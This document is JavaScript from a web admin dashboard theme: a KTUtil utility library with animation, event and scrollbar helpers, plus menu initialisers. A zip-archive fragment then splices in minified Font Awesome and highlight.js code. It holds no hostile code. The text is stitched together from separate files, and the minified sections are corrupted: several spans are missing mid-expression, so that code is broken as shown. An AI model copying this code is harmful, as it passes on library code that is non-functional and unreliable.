parseInt(KTUtil.data(el).get('slide-padding-bottom')); } if (dir == 'up') { // up el.style.cssText = 'display: block; overflow: hidden;'; if (calcPaddingTop) { KTUtil.animate(0, calcPaddingTop, speed, function(value) { el.style.paddingTop = (calcPaddingTop - value) + 'px'; }, 'linear'); } if (calcPaddingBottom) { KTUtil.animate(0, calcPaddingBottom, speed, function(value) { el.style.paddingBottom = (calcPaddingBottom - value) + 'px'; }, 'linear'); } KTUtil.animate(0, calcHeight, speed, function(value) { el.style.height = (calcHeight - value) + 'px'; }, 'linear', function() { el.style.height = ''; el.style.display = 'none'; if (typeof callback === 'function') { callback(); } }); } else if (dir == 'down') { // down el.style.cssText = 'display: block; overflow: hidden;'; if (calcPaddingTop) { KTUtil.animate(0, calcPaddingTop, speed, function(value) {// el.style.paddingTop = value + 'px'; }, 'linear', function() { el.style.paddingTop = ''; }); } if (calcPaddingBottom) { KTUtil.animate(0, calcPaddingBottom, speed, function(value) { el.style.paddingBottom = value + 'px'; }, 'linear', function() { el.style.paddingBottom = ''; }); } KTUtil.animate(0, calcHeight, speed, function(value) { el.style.height = value + 'px'; }, 'linear', function() { el.style.height = ''; el.style.display = ''; el.style.overflow = ''; if (typeof callback === 'function') { callback(); } }); } }, slideUp: function(el, speed, callback) { KTUtil.slide(el, 'up', speed, callback); }, slideDown: function(el, speed, callback) { KTUtil.slide(el, 'down', speed, callback); }, addEvent: function(el, type, handler, one) { if (typeof el !== 'undefined' && el !== null) { el.addEventListener(type, handler); } }, removeEvent: function(el, type, handler) { if (el !== null) { el.removeEventListener(type, handler); } }, on: function(element, selector, event, handler) { if (!selector) { return; } var eventId = KTUtil.getUniqueID('event'); window.KTUtilDelegatedEventHandlers[eventId] = function(e) { var targets = element.querySelectorAll(selector); var target = e.target; while (target && target !== element) { for (var i = 0, j = targets.length; i < j; i++) { if (target === targets[i]) { handler.call(target, e); } } target = target.parentNode; } } KTUtil.addEvent(element, event, window.KTUtilDelegatedEventHandlers[eventId]); return eventId; }, off: function(element, event, eventId) { if (!element || !window.KTUtilDelegatedEventHandlers[eventId]) { return; } KTUtil.removeEvent(element, event, window.KTUtilDelegatedEventHandlers[eventId]); delete window.KTUtilDelegatedEventHandlers[eventId]; }, one: function onetime(el, type, callback) { el.addEventListener(type, function callee(e) { // remove event if (e.target && e.target.removeEventListener) { e.target.removeEventListener(e.type, callee); } // need to verify from https://themeforest.net/author_dashboard#comment_23615588 if (el && el.removeEventListener) { e.currentTarget.removeEventListener(e.type, callee); } // call handler return callback(e); }); }, hash: function(str) { var hash = 0, i, chr; if (str.length === 0) return hash; for (i = 0; i < str.length; i++) { chr = str.charCodeAt(i); hash = ((hash << 5) - hash) + chr; hash |= 0; // Convert to 32bit integer } return hash; }, animateClass: function(el, animationName, callback) { var animation; var animations = { animation: 'animationend', OAnimation: 'oAnimationEnd', MozAnimation: 'mozAnimationEnd', WebkitAnimation: 'webkitAnimationEnd', msAnimation: 'msAnimationEnd', }; for (var t in animations) { if (el.style[t] !== undefined) { animation = animations[t]; } } KTUtil.addClass(el, 'animated ' + animationName); KTUtil.one(el, animation, function() { KTUtil.removeClass(el, 'animated ' + animationName); }); if (callback) { KTUtil.one(el, animation, callback); } }, transitionEnd: function(el, callback) { var transition; var transitions = { transition: 'transitionend', OTransition: 'oTransitionEnd', MozTransition: 'mozTransitionEnd', WebkitTransition: 'webkitTransitionEnd', msTransition: 'msTransitionEnd' }; for (var t in transitions) { if (el.style[t] !== undefined) { transition = transitions[t]; } } KTUtil.one(el, transition, callback); }, animationEnd: function(el, callback) { var animation; var animations = { animation: 'animationend', OAnimation: 'oAnimationEnd', MozAnimation: 'mozAnimationEnd', WebkitAnimation: 'webkitAnimationEnd', msAnimation: 'msAnimationEnd' }; for (var t in animations) { if (el.style[t] !== undefined) { animation = animations[t]; } } KTUtil.one(el, animation, callback); }, animateDelay: function(el, value) { var vendors = ['webkit-', 'moz-', 'ms-', 'o-', '']; for (var i = 0; i < vendors.length; i++) { KTUtil.css(el, vendors[i] + 'animation-delay', value); } }, animateDuration: function(el, value) { var vendors = ['webkit-', 'moz-', 'ms-', 'o-', '']; for (var i = 0; i < vendors.length; i++) { KTUtil.css(el, vendors[i] + 'animation-duration', value); } }, scrollTo: function(target, offset, duration) { var duration = duration ? duration : 500; var targetPos = target ? KTUtil.offset(target).top : 0; var scrollPos = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0; var from, to; if (offset) { scrollPos += offset; } from = scrollPos; to = targetPos; KTUtil.animate(from, to, duration, function(value) { document.documentElement.scrollTop = value; document.body.parentNode.scrollTop = value; document.body.scrollTop = value; }); //, easing, done }, scrollTop: function(offset, duration) { KTUtil.scrollTo(null, offset, duration); }, isArray: function(obj) { return obj && Array.isArray(obj); }, ready: function(callback) { if (document.attachEvent ? document.readyState === "complete" : document.readyState !== "loading") { callback(); } else { document.addEventListener('DOMContentLoaded', callback); } }, isEmpty: function(obj) { for (var prop in obj) { if (obj.hasOwnProperty(prop)) { return false; } } return true; }, numberString: function(nStr) { nStr += ''; var x = nStr.split('.'); var x1 = x[0]; var x2 = x.length > 1 ? '.' + x[1] : ''; var rgx = /(\d+)(\d{3})/; while (rgx.test(x1)) { x1 = x1.replace(rgx, '$1' + ',' + '$2'); } return x1 + x2; }, detectIE: function() { var ua = window.navigator.userAgent; // Test values; Uncomment to check result … // IE 10 // ua = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)'; // IE 11 // ua = 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'; // Edge 12 (Spartan) // ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0'; // Edge 13 // ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586'; var msie = ua.indexOf('MSIE '); if (msie > 0) { // IE 10 or older => return version number return parseInt(ua.substring(msie + 5, ua.indexOf('.', msie)), 10); } var trident = ua.indexOf('Trident/'); if (trident > 0) { // IE 11 => return version number var rv = ua.indexOf('rv:'); return parseInt(ua.substring(rv + 3, ua.indexOf('.', rv)), 10); } var edge = ua.indexOf('Edge/'); if (edge > 0) { // Edge (IE 12+) => return version number return parseInt(ua.substring(edge + 5, ua.indexOf('.', edge)), 10); } // other browser return false; }, isRTL: function() { var html = KTUtil.getByTagName('html')[0]; if (html) { return (KTUtil.attr(html, 'direction') == 'rtl'); } }, // Scroller scrollInit: function(element, options) { if (!element) { return; } // Learn more: https://github.com/mdbootstrap/perfect-scrollbar#options var pluginDefOptions = { wheelSpeed: 0.5, swipeEasing: true, wheelPropagation: false, minScrollbarLength: 40, maxScrollbarLength: 300, suppressScrollX: true }; options = KTUtil.deepExtend({}, pluginDefOptions, options); // Define init function function init() { var ps; var height; // Get extra options via data attributes var attrs = element.getAttributeNames(); if (attrs.length > 0) { attrs.forEach(function(attrName) { // more options; https://github.com/ganlanyuan/tiny-slider#options if ((/^data-.*/g).test(attrName)) { if (['scroll', 'height', 'mobile-height'].includes(optionName) == false) { var optionName = attrName.replace('data-', '').toLowerCase().replace(/(?:[\s-])\w/g, function(match) { return match.replace('-', '').toUpperCase(); }); options[optionName] = KTUtil.filterBoolean(element.getAttribute(attrName)); } } }); } if (options.height instanceof Function) { height = options.height.call(); } else { if (KTUtil.isMobileDevice() === true && options.mobileHeight) { height = parseInt(options.mobileHeight); } else { height = parseInt(options.height); } } if (height === false) { KTUtil.scrollDestroy(element, true); return; } height = parseInt(height); // Destroy scroll on table and mobile modes if ((options.mobileNativeScroll || options.disableForMobile) && KTUtil.isMobileDevice() === true) { ps = KTUtil.data(element).get('ps'); if (ps) { if (options.resetHeightOnDestroy) { KTUtil.css(element, 'height', 'auto'); } else { KTUtil.css(element, 'overflow', 'auto'); if (height > 0) { KTUtil.css(element, 'height', height + 'px'); } } ps.destroy(); ps = KTUtil.data(element).remove('ps'); } else if (height > 0){ KTUtil.css(element, 'overflow', 'auto'); KTUtil.css(element, 'height', height + 'px'); } return; } if (height > 0) { KTUtil.css(element, 'height', height + 'px'); } if (options.desktopNativeScroll) { KTUtil.css(element, 'overflow', 'auto'); return; } // Pass options via HTML Attributes if (KTUtil.attr(element, 'data-window-scroll') == 'true') { options.windowScroll = true; } // Init scroll ps = KTUtil.data(element).get('ps'); if (ps) { ps.update(); } else { KTUtil.css(element, 'overflow', 'hidden'); KTUtil.addClass(element, 'scroll'); ps = new PerfectScrollbar(element, options); KTUtil.data(element).set('ps', ps); } // Remember scroll position in cookie var uid = KTUtil.attr(element, 'id'); // Consider using Localstorage //if (options.rememberPosition === true && Cookies && uid) { // if (KTCookie.getCookie(uid)) { // var pos = parseInt(KTCookie.getCookie(uid)); // // if (pos > 0) { // element.scrollTop = pos; // } // } // // element.addEventListener('ps-scroll-y', function() { // KTCookie.setCookie(uid, element.scrollTop); // }); //} } // Init init(); // Handle window resize if (options.handleWindowResize) { KTUtil.addResizeHandler(function() { init(); }); } }, scrollUpdate: function(element) { var ps = KTUtil.data(element).get('ps'); if (ps) { ps.update(); } }, scrollUpdateAll: function(parent) { var scrollers = KTUtil.findAll(parent, '.ps'); for (var i = 0, len = scrollers.length; i < len; i++) { KTUtil.scrollUpdate(scrollers[i]); } }, scrollDestroy: function(element, resetAll) { var ps = KTUtil.data(element).get('ps'); if (ps) { ps.destroy(); ps = KTUtil.data(element).remove('ps'); } if (element && resetAll) { element.style.setProperty('overflow', ''); element.style.setProperty('height', ''); } }, filterBoolean: function(val) { // Convert string boolean if (val === true || val === 'true') { return true; } if (val === false || val === 'false') { return false; } return val; }, setHTML: function(el, html) { el.innerHTML = html; }, getHTML: function(el) { if (el) { return el.innerHTML; } }, getDocumentHeight: function() { var body = document.body; var html = document.documentElement; return Math.max( body.scrollHeight, body.offsetHeight, html.clientHeight, html.scrollHeight, html.offsetHeight ); }, getScrollTop: function() { return (document.scrollingElement || document.documentElement).scrollTop; }, changeColor: function(col, amt) { var usePound = false; if (col[0] == "#") { col = col.slice(1); usePound = true; } var num = parseInt(col,16); var r = (num >> 16) + amt; if (r > 255) r = 255; else if (r < 0) r = 0; var b = ((num >> 8) & 0x00FF) + amt; if (b > 255) b = 255; else if (b < 0) b = 0; var g = (num & 0x0000FF) + amt; if (g > 255) g = 255; else if (g < 0) g = 0; return (usePound?"#":"") + (g | (b << 8) | (r << 16)).toString(16); }, // Throttle function: Input as function which needs to be throttled and delay is the time interval in milliseconds throttle: function (timer, func, delay) { // If setTimeout is already scheduled, no need to do anything if (timer) { return; } // Schedule a setTimeout after delay seconds timer = setTimeout(function () { func(); // Once setTimeout function execution is finished, timerId = undefined so that in
    // the next scroll event function execution can be scheduled by the setTimeout timer = undefined; }, delay); }, // Debounce function: Input as function which needs to be debounced and delay is the debounced time in milliseconds debounce: function (timer, func, delay) { // Cancels the setTimeout method execution clearTimeout(timer) // Executes the func after delay time. timer = setTimeout(func, delay); }, btnWait: function(el, cls, message, disable) { if (!el) { return; } if (typeof disable !== 'undefined' && disable === true) { KTUtil.attr(el, "disabled", true); } if (cls) { KTUtil.addClass(el, cls); KTUtil.attr(el, "wait-class", cls); } if (message) { var caption = KTUtil.find(el, '.btn-caption'); if (caption) { KTUtil.data(caption).set('caption', KTUtil.getHTML(caption)); KTUtil.setHTML(caption, message); } else { KTUtil.data(el).set('caption', KTUtil.getHTML(el)); KTUtil.setHTML(el, message); } } }, } }(); //IMPORTANT "use strict"; // Initialization KTUtil.ready(function() { //////////////////////////////////////////////////// // Layout Base Partials(mandatory for core layout)// //////////////////////////////////////////////////// // Init sideMenuScroll sideMenuScroll.init('sideMenuScroll'); // Init msgLeft msgLeft.init('msgLeft'); // Init chatBox chatBox.init('chatBox'); // Init settingsMenu settingsMenu.init('settingsMenu'); // Init recentTickets Menu recentTickets.init('recentTickets'); // Init ticketMsg Menu ticketMsg.init('ticketMsg'); // Init projectActivityDetail Menu projectActivityDetail.init('projectActivityDetail'); // Init empDashNotice Menu empDashNotice.init('empDashNotice'); }); "use strict"; var sideMenuScroll = function () { // Private properties var _element; var _menuObject; // Initialize var _init = function () { var scroll; if (KTUtil.attr(_element, 'data-menu-scroll') === '1') { scroll = { rememberPosition: true, // remember position on page reload height: function () { // calculate available scrollable area height var height = parseInt(KTUtil.getViewPort().height); if (KTUtil.isBreakpointUp('lg')) { height = parseInt(KTUtil.getViewPort().height) - 111; } else height = parseInt(KTUtil.getViewPort().height) - 63; return height; } }; } _menuObject = new KTMenu(_element, { // Vertical scroll scroll: scroll, }); } // Public methods return { init: function (id) { _element = KTUtil.getById(id); if (!_element) { return; } // Initialize menu _init(); }, getElement: function () { return _element; }, }; }(); var msgLeft = function() { // Private properties var _element; var _menuObject; // Initialize var _init = function() { var scroll; if (KTUtil.attr(_element, ' data-menu-scroll') === '1') { scroll = { rememberPosition: true, // remember position on page reload height: function() { // calculate avail able scrollable area height var height = parseInt(KTUtil.getViewPort(). height); if (KTUtil.isBreakpointUp('lg')) { height = parseInt(KTUtil.getViewPort().height) - 127; } else height = parseInt(KTUtil.getViewPort().height) - 194; return height; } }; } _menuObject = new KTMenu(_element, { // Vertical scroll scroll: scroll, }); } // Public methods return { init: function(id) { _element = KTUtil.getById(id); if (!_element) { return; } // Initialize menu _init(); }, getElement: function() { return _element; }, }; }(); var chatBox = function() { // Private properties var _element; var _menuObject; // Initialize var _init = function() { var scroll; if (KTUtil.attr(_element, 'data-menu-scroll') === '1') { scroll = { rememberPosition: true, // remember position on page reload height: function() { // calculate available scrollable area height var height = parseInt(KTUtil.getViewPort().height); if (KTUtil.isBreakpointUp('lg')) { height = parseInt(KTUtil.getViewPort().height) - 280; } else height = parseInt(KTUtil.getViewPort().height) - 273; return height; } }; } _menuObject = new KTMenu(_element, { // Vertical scroll scroll: scroll, }); } // Public methods return { init: function(id) { _element = KTUtil.getById(id); if (!_element) { return; } // Initialize menu _init(); }, getElement: function() { return _element; }, }; }(); var settingsMenu = function () { // Private properties var _element; var _menuObject; // Initialize var _init = function () { var scroll; if (KTUtil.attr(_element, 'data-menu-scroll') === '1') { scroll = { rememberPosition: true, // remember position on page reload height: function () { // calculate available scrollable area height var height = parseInt(KTUtil.getViewPort().height); if (KTUtil.isBreakpointUp('lg')) { height = parseInt(KTUtil.getViewPort().height) - 130; } else height = parseInt(KTUtil.getViewPort().height) - 65; return height; } }; } _menuObject = new KTMenu(_element, { // Vertical scroll scroll: scroll, }); } // Public methods return { init: function (id) { _element = KTUtil.getById(id); if (!_element) { return; } // Initialize menu _init(); }, getElement: function () { return _element; }, }; }(); var recentTickets = function () { // Private properties var _element; var _menuObject; // Initialize var _init = function () { var scroll; if (KTUtil.attr(_element, 'data-menu-scroll') === '1') { scroll = { rememberPosition: true, // remember position on page reload height: function () { // calculate available scrollable area height var height = parseInt(KTUtil.getViewPort().height); if (KTUtil.isBreakpointUp('lg')) { height = parseInt(KTUtil.getViewPort().height) - 451; } else height = parseInt(KTUtil.getViewPort().height) - 333; return height; } }; } _menuObject = new KTMenu(_element, { // Vertical scroll scroll: scroll, }); } // Public methods return { init: function (id) { _element = KTUtil.getById(id); if (!_element) { return; } // Initialize menu _init(); }, getElement: function () { return _element; }, }; }(); var ticketMsg = function () { // Private properties var _element; var _menuObject; // Initialize var _init = function () { var scroll; if (KTUtil.attr(_element, 'data-menu-scroll') === '1') { scroll = { rememberPosition: true, // remember position on page reload height: function () { // calculate available scrollable area height var height = parseInt(KTUtil.getViewPort().height); if (KTUtil.isBreakpointUp('lg')) { height = parseInt(KTUtil.getViewPort().height) - 260; } else height = parseInt(KTUtil.getViewPort().height) - 325; return height; } }; } _menuObject = new KTMenu(_element, { // Vertical scroll scroll: scroll, }); } // Public methods return { init: function (id) { _element = KTUtil.getById(id); if (!_element) { return; } // Initialize menu _init(); }, getElement: function () { return _element; }, }; }(); var projectActivityDetail = function () { // Private properties var _element; var _menuObject; // Initialize var _init = function () { var scroll; if (KTUtil.attr(_element, 'data-menu-scroll') === '1') { scroll = { rememberPosition: true, // remember position on page reload height: function () { // calculate available scrollable area height var height = parseInt(KTUtil.getViewPort().height); if (KTUtil.isBreakpointUp('lg')) { height = parseInt(KTUtil.getViewPort().height) - 175; } else height = parseInt(KTUtil.getViewPort().height) - 325; return height; } }; } _menuObject = new KTMenu(_element, { // Vertical scroll scroll: scroll, }); } // Public methods return { init: function (id) { _element = KTUtil.getById(id); if (!_element) { return; } // Initialize menu _init(); }, getElement: function () { return _element; }, }; }(); var empDashNotice = function () { // Private properties var _element; var _menuObject; // Initialize var _init = function () { var scroll; if (KTUtil.attr(_element, 'data-menu-scroll') === '1') { scroll = { rememberPosition: true, // remember position on page reload height: function () { // calculate available scrollable area height var height = parseInt(KTUtil.getViewPort().height); if (KTUtil.isBreakpointUp('xl')) { height = parseInt(KTUtil.getViewPort().height) - 300; } else height = parseInt(KTUtil.getViewPort().height) - 300; return height; } }; } _menuObject = new KTMenu(_element, { // Vertical scroll scroll: scroll, }); } // Public methods return { init: function (id) { _element = KTUtil.getById(id); if (!_element) { return; } // Initialize menu _init(); }, getElement: function () { return _element; }, }; }(); PKZW;;vendor/jquery/all.min.jsnu[/*! * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */ !function(){"use strict";var c={},l={};try{"undefined"!=typeof window&&(c=window),"undefined"!=typeof document&&(l=document)}catch(c){}var h=(c.navigator||{}).userAgent,z=void 0===h?"":h,a=c,v=l,m=(a.document,!!v.documentElement&&!!v.head&&"function"==typeof v.addEventListener&&v.createElement,~z.indexOf("MSIE")||z.indexOf("Trident/"),"___FONT_AWESOME___"),e=function(){try{return!0}catch(c){return!1}}();var s=a||{};s[m]||(s[m]={}),s[m].styles||(s[m].styles={}),s[m].hooks||(s[m].hooks={}),s[m].shims||(s[m].shims=[]);var t=s[m];function M(c,z){var l=(2>>0;h--;)l[h]=c[h];return l}function Ac(c){return c.classList?bc(c.classList):(c.getAttribute("class")||"").split(" ").filter(function(c){return c})}function gc(c,l){var h,z=l.split("-"),a=z[0],v=z.slice(1).join("-");return a!==c||""===v||(h=v,~T.indexOf(h))?null:v}function Sc(c){return"".concat(c).replace(/&/g,"&").replace(/"/g,""").replace(/'/g,"'").replace(//g,">")}function yc(h){return Object.keys(h||{}).reduce(function(c,l){return c+"".concat(l,": ").concat(h[l],";")},"")}function wc(c){return c.size!==Lc.size||c.x!==Lc.x||c.y!==Lc.y||c.rotate!==Lc.rotate||c.flipX||c.flipY}function Zc(c){var l=c.transform,h=c.containerWidth,z=c.iconWidth,a={transform:"translate(".concat(h/2," 256)")},v="translate(".concat(32*l.x,", ").concat(32*l.y,") "),m="scale(".concat(l.size/16*(l.flipX?-1:1),", ").concat(l.size/16*(l.flipY?-1:1),") "),e="rotate(".concat(l.rotate," 0 0)");return{outer:a,inner:{transform:"".concat(v," ").concat(m," ").concat(e)},path:{transform:"translate(".concat(z/2*-1," -256)")}}}var kc={x:0,y:0,width:"100%",height:"100%"};function xc(c){var l=!(1").concat(m.map(Jc).join(""),"")}var $c=function(){};function cl(c){return"string"==typeof(c.getAttribute?c.getAttribute(cc):null)}var ll={replace:function(c){var l=c[0],h=c[1].map(function(c){return Jc(c)}).join("\n");if(l.parentNode&&l.outerHTML)l.outerHTML=h+(lc.keepOriginalSource&&"svg"!==l.tagName.toLowerCase()?"\x3c!-- ".concat(l.outerHTML," Font Awesome fontawesome.com --\x3e"):"");else if(l.parentNode){var z=document.createElement("span");l.parentNode.replaceChild(z,l),z.outerHTML=h}},nest:function(c){var l=c[0],h=c[1];if(~Ac(l).indexOf(lc.replacementClass))return ll.replace(c);var z=new RegExp("".concat(lc.familyPrefix,"-.*"));delete h[0].attributes.style,delete h[0].attributes.id;var a=h[0].attributes.class.split(" ").reduce(function(c,l){return l===lc.replacementClass||l.match(z)?c.toSvg.push(l):c.toNode.push(l),c},{toNode:[],toSvg:[]});h[0].attributes.class=a.toSvg.join(" ");var v=h.map(function(c){return Jc(c)}).join("\n");l.setAttribute("class",a.toNode.join(" ")),l.setAttribute(cc,""),l.innerHTML=v}};function hl(c){c()}function zl(h,c){var z="function"==typeof c?c:$c;if(0===h.length)z();else{var l=hl;lc.mutateApproach===y&&(l=o.requestAnimationFrame||hl),l(function(){var c=!0===lc.autoReplaceSvg?ll.replace:ll[lc.autoReplaceSvg]||ll.replace,l=_c.begin("mutate");h.map(c),l(),z()})}}var al=!1;function vl(){al=!1}var ml=null;function el(c){if(t&&lc.observeMutations){var a=c.treeCallback,v=c.nodeCallback,m=c.pseudoElementsCallback,l=c.observeMutationsRoot,h=void 0===l?C:l;ml=new t(function(c){al||bc(c).forEach(function(c){if("childList"===c.type&&0]+>|\t|)+|(?:\n)))/gm,a={case_insensitive:"cI",lexemes:"l",contains:"c",keywords:"k",subLanguage:"sL",className:"cN",begin:"b",beginKeywords:"bK",end:"e",endsWithParent:"eW",illegal:"i",excludeBegin:"eB",excludeEnd:"eE",returnBegin:"rB",returnEnd:"rE",relevance:"r",variants:"v",IDENT_RE:"IR",UNDERSCORE_IDENT_RE:"UIR",NUMBER_RE:"NR",C_NUMBER_RE:"CNR",BINARY_NUMBER_RE:"BNR",RE_STARTERS_RE:"RSR",BACKSLASH_ESCAPE:"BE",APOS_STRING_MODE:"ASM",QUOTE_STRING_MODE:"QSM",PHRASAL_WORDS_MODE:"PWM",C_LINE_COMMENT_MODE:"CLCM",C_BLOCK_COMMENT_MODE:"CBCM",HASH_COMMENT_MODE:"HCM",NUMBER_MODE:"NM",C_NUMBER_MODE:"CNM",BINARY_NUMBER_MODE:"BNM",CSS_NUMBER_MODE:"CSSNM",REGEXP_MODE:"RM",TITLE_MODE:"TM",UNDERSCORE_TITLE_MODE:"UTM",COMMENT:"C",beginRe:"bR",endRe:"eR",illegalRe:"iR",lexemesRe:"lR",terminators:"t",terminator_end:"tE"},N="",v={classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:void 0};function y(e){return e.replace(/&/g,"&").replace(//g,">")}function b(e){return e.nodeName.toLowerCase()}function w(e,t){var r=e&&e.exec(t);return r&&0===r.index}function u(e){return t.test(e)}function p(e){var t,r={},a=Array.prototype.slice.call(arguments,1);for(t in e)r[t]=e[t];return a.forEach(function(e){for(t in e)r[t]=e[t]}),r}function m(e){var n=[];return function e(t,r){for(var a=t.firstChild;a;a=a.nextSibling)3===a.nodeType?r+=a.nodeValue.length:1===a.nodeType&&(n.push({event:"start",offset:r,node:a}),r=e(a,r),b(a).match(/br|hr|img|input/)||n.push({event:"stop",offset:r,node:a}));return r}(e,0),n}function i(e){if(a&&!e.langApiRestored){for(var t in e.langApiRestored=!0,a)e[t]&&(e[a[t]]=e[t]);(e.c||[]).concat(e.v||[]).forEach(i)}}function E(s){function l(e){return e&&e.source||e}function c(e,t){return new RegExp(l(e),"m"+(s.cI?"i":"")+(t?"g":""))}!function t(r,e){if(!r.compiled){if(r.compiled=!0,r.k=r.k||r.bK,r.k){function a(r,e){s.cI&&(e=e.toLowerCase()),e.split(" ").forEach(function(e){var t=e.split("|");n[t[0]]=[r,t[1]?Number(t[1]):1]})}var n={};"string"==typeof r.k?a("keyword",r.k):o(r.k).forEach(function(e){a(e,r.k[e])}),r.k=n}r.lR=c(r.l||/\w+/,!0),e&&(r.bK&&(r.b="\\b("+r.bK.split(" ").join("|")+")\\b"),r.b||(r.b=/\B|\b/),r.bR=c(r.b),r.endSameAsBegin&&(r.e=r.b),r.e||r.eW||(r.e=/\B|\b/),r.e&&(r.eR=c(r.e)),r.tE=l(r.e)||"",r.eW&&e.tE&&(r.tE+=(r.e?"|":"")+e.tE)),r.i&&(r.iR=c(r.i)),null==r.r&&(r.r=1),r.c||(r.c=[]),r.c=Array.prototype.concat.apply([],r.c.map(function(e){return function(t){return t.v&&!t.cached_variants&&(t.cached_variants=t.v.map(function(e){return p(t,{v:null},e)})),t.cached_variants||t.eW&&[p(t)]||[t]}("self"===e?r:e)})),r.c.forEach(function(e){t(e,r)}),r.starts&&t(r.starts,e);var i=r.c.map(function(e){return e.bK?"\\.?(?:"+e.b+")\\.?":e.b}).concat([r.tE,r.i]).map(l).filter(Boolean);r.t=i.length?c(function(e,t){for(var r=/\[(?:[^\\\]]|\\.)*\]|\(\??|\\([1-9][0-9]*)|\\./,a=0,n="",i=0;i')+t+(r?"":N):t}function s(){b+=null!=u.sL?function(){var e="string"==typeof u.sL;if(e&&!h[u.sL])return y(p);var t=e?k(u.sL,p,!0,d[u.sL]):x(p,u.sL.length?u.sL:void 0);return 0")+'"');return p+=t,t.length||1}var l=M(e);if(!l)throw new Error('Unknown language: "'+e+'"');E(l);var n,u=r||l,d={},b="";for(n=u;n!==l;n=n.parent)n.cN&&(b=c(n.cN,"",!0)+b);var p="",m=0;try{for(var f,g,_=0;u.t.lastIndex=_,f=u.t.exec(t);)g=a(t.substring(_,f.index),f[0]),_=f.index+g;for(a(t.substr(_)),n=u;n.parent;n=n.parent)n.cN&&(b+=N);return{r:m,value:b,language:e,top:u}}catch(e){if(e.message&&-1!==e.message.indexOf("Illegal"))return{r:0,value:y(t)};throw e}}function x(r,e){e=e||v.languages||o(h);var a={r:0,value:y(r)},n=a;return e.filter(M).filter(_).forEach(function(e){var t=k(e,r,!1);t.language=e,t.r>n.r&&(n=t),t.r>a.r&&(n=a,a=t)}),n.language&&(a.second_best=n),a}function f(e){return v.tabReplace||v.useBR?e.replace(r,function(e,t){return v.useBR&&"\n"===e?"
    ":v.tabReplace?t.replace(/\t/g,v.tabReplace):""}):e}function s(e){var t,r,a,n,i,s=function(e){var t,r,a,n,i=e.className+" ";if(i+=e.parentNode?e.parentNode.className:"",r=l.exec(i))return M(r[1])?r[1]:"no-highlight";for(t=0,a=(i=i.split(/\s+/)).length;t/g,"\n"):t=e,i=t.textContent,a=s?k(s,i,!0):x(i),(r=m(t)).length&&((n=document.createElementNS("http://www.w3.org/1999/xhtml","div")).innerHTML=a.value,a.value=function(e,t,r){var a=0,n="",i=[];function s(){return e.length&&t.length?e[0].offset!==t[0].offset?e[0].offset"}function o(e){n+=""}function l(e){("start"===e.event?c:o)(e.node)}for(;e.length||t.length;){var u=s();if(n+=y(r.substring(a,u[0].offset)),a=u[0].offset,u===e){for(i.reverse().forEach(o);l(u.splice(0,1)[0]),(u=s())===e&&u.length&&u[0].offset===a;);i.reverse().forEach(c)}else"start"===u[0].event?i.push(u[0].node):i.pop(),l(u.splice(0,1)[0])}return n+y(r.substr(a))}(r,m(n),i)),a.value=f(a.value),e.innerHTML=a.value,e.className=function(e,t,r){var a=t?c[t]:r,n=[e.trim()];return e.match(/\bhljs\b/)||n.push("hljs"),-1===e.indexOf(a)&&n.push(a),n.join(" ").trim()}(e.className,s,a.language),e.result={language:a.language,re:a.r},a.second_best&&(e.second_best={language:a.second_best.language,re:a.second_best.r}))}function g(){if(!g.called){g.called=!0;var e=document.querySelectorAll("pre code");d.forEach.call(e,s)}}function M(e){return e=(e||"").toLowerCase(),h[e]||h[c[e]]}function _(e){var t=M(e);return t&&!t.disableAutodetect}return n.highlight=k,n.highlightAuto=x,n.fixMarkup=f,n.highlightBlock=s,n.configure=function(e){v=p(v,e)},n.initHighlighting=g,n.initHighlightingOnLoad=function(){addEventListener("DOMContentLoaded",g,!1),addEventListener("load",g,!1)},n.registerLanguage=function(t,e){var r=h[t]=e(n);i(r),r.aliases&&r.aliases.forEach(function(e){c[e]=t})},n.listLanguages=function(){return o(h)},n.getLanguage=M,n.autoDetection=_,n.inherit=p,n.IR=n.IDENT_RE="[a-zA-Z]\\w*",n.UIR=n.UNDERSCORE_IDENT_RE="[a-zA-Z_]\\w*",n.NR=n.NUMBER_RE="\\b\\d+(\\.\\d+)?",n.CNR=n.C_NUMBER_RE="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",n.BNR=n.BINARY_NUMBER_RE="\\b(0b[01]+)",n.RSR=n.RE_STARTERS_RE="!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",n.BE=n.BACKSLASH_ESCAPE={b:"\\\\[\\s\\S]",r:0},n.ASM=n.APOS_STRING_MODE={cN:"string",b:"'",e:"'",i:"\\n",c:[n.BE]},n.QSM=n.QUOTE_STRING_MODE={cN:"string",b:'"',e:'"',i:"\\n",c:[n.BE]},n.PWM=n.PHRASAL_WORDS_MODE={b:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},n.C=n.COMMENT=function(e,t,r){var a=n.inherit({cN:"comment",b:e,e:t,c:[]},r||{});return 